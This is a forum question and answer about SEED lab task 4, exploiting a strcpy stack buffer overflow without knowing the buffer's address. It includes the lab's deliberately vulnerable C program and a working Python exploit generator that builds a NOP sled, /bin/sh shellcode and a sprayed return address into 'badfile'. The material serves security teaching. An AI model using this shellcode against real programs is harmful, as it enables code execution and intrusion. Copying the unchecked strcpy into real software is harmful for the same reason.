Doing buffer overflow attack without knowing buffer size and address

Question

I was trying to solve SEED security lab regarding buffer overflow attack but in that exercise we get buffer address and ebp and thus offset of it. so we are able to guess where the return address is stored. I know that without getting ebp and calculating offset you can also do this attack by writing the return address every 4 bytes until the maximum possible range of buffer(Let's assume I know maximum size of the buffer and starting address of buffer). now my question is what if we just know the maximum size of buffer and not the starting address of the buffer? How can we do this attack? My vulnerable program is using strcpy() function. Link to exercise is below(task 4). Full exercise link from SEED labs

here is the source code of vulnerable program:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack.
 * Instructors can change this value each year, so students
 * won't be able to use the solutions from the past.
 */
#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif

void dummy_function(char *str);

int bof(char *str)
{
    char buffer[BUF_SIZE];

    // The following statement has a buffer overflow problem 
    strcpy(buffer, str);       

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r"); 
    if (!badfile) {
       perror("Opening badfile"); exit(1);
    }

    int length = fread(str, sizeof(char), 517, badfile);
    printf("Input size: %d\n", length);
    dummy_function(str);
    fprintf(stdout, "==== Returned Properly ====\n");
    return 1;
}

// This function is used to insert a stack frame of size 
// 1000 (approximately) between main's and bof's stack frames. 
// The function itself does not do anything. 
void dummy_function(char *str)
{
    char dummy_buffer[1000];
    memset(dummy_buffer, 0, 1000);
    bof(str);
}

Answer 1

The following python3 code will work for buffer overflow attack in given range.

#!/usr/bin/python3
import sys

shellcode= (
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

content = bytearray(0x90 for i in range(517))

##################################################################

start = 517 - len(shellcode)
content[start:start + len(shellcode)] = shellcode

ebp_offset = 100 # start of the range which is (100-200)
offset = ebp_offset + 4
ebp_addr = 0xffffd0b8
ret = ebp_addr + 120 # 120 as padding

L = 4
# in the next line 100 will be the addition in offset thus, we can achieve the range from 100 to 200, and 25 is the times we will pur retun address in our content variable.

content[offset:offset + 100] = (ret).to_bytes(L,byteorder='little') * 25

##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)